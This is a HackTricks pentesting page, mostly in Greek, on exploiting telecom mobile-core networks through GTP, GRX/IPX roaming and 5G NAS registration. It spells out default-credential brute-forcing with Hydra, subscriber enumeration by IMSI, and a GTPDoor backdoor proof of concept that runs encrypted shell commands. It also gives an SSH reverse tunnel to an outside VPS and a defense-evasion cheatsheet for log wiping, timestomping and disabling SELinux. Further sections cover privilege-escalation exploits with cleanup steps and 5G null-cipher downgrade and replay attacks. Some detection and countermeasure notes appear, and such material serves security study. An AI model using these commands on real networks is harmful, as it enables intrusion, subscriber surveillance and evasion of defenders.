hacktricks/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

# Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

> [!NOTE]
> Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes**. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων.

## 1. Recon & Initial Access

### 1.1  Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  A dedicated wordlist dramatically increases brute-force success:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).

### 1.2  Host Discovery μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Απαρίθμηση Συνδρομητών – `cordscan`

Το ακόλουθο εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Βασικά ορίσματα:
- `--imsi` IMSI του στοχευόμενου συνδρομητή
- `--oper` Home / HNI (MCC+MNC)
- `-w`      Εγγραφή ακατέργαστων πακέτων σε pcap

Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
```
pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"
```
## 3. Code Execution over GTP – `GTPDoor`

`GTPDoor` είναι μια μικρή ELF υπηρεσία που **δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο**. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγεται μέσα σε μηνύματα **Echo Response** έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.

Ελάχιστο PoC πακέτο (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Ανίχνευση:
* οποιοδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs
* σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) – απόκλιση από τις προδιαγραφές

## 4. Pivoting μέσω του Core

### 4.1  `sgsnemu` + SOCKS5
`OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **establish a PDP context towards a real GGSN/PGW**. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` που είναι προσβάσιμη από τον roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy
```
Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**.

### 4.2  SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Ελέγξτε ότι `GatewayPorts yes` είναι ενεργοποιημένο στο VPS.

## 5. Covert Channels

| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση |
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για `*.nodep` υποτομέα |
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση |

Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και επανεκκινούνται αν καταρρεύσουν.

## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux
```
## 7. Privilege Escalation σε Legacy NE
```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```
Συμβουλή καθαρισμού:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box

* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging

## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).

Registration flow (simplified):
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*.
- Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται.
- PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF):
- Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
- UE: simulator ή test UE; decode με Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών.

Πώς να το δοκιμάσετε:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE.
- Wireshark quick checks:
- Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
- Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει leak.

Τι να συλλέξετε:
- MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες.

Αντιμετώπιση:
- Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.

### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.

Issue:
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.

Offensive steps:
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
- Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.

Verification/visibility:
- Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Μέτρα αντιμετώπισης (υποχρεωτικά):
- Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης).
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms.

### 9.3 Replay του αρχικού Registration Request (pre-security NAS)
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF.

PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>
```
Τι να παρατηρήσετε:
- Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια.

Αντιμετώπιση:
- Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.

### 9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα)
- Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration.
- 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.

### 9.5 Λίστα ελέγχου άμυνας
- Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
- Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
- Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers.
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.

---
## Ιδέες Ανίχνευσης
1. **Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests**.
2. **Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes** από εσωτερικά IPs.
3. **Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses** – μπορεί να υποδεικνύουν GTPDoor beacons.
4. **Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence**.
5. 5G: **InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints** (σήμα replay).
6. 5G: **NAS Security Mode που διαπραγματεύεται EEA0/EIA0** εκτός συμφραζομένων έκτακτης ανάγκης.

## References

- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System

{{#include ../../banners/hacktricks-training.md}}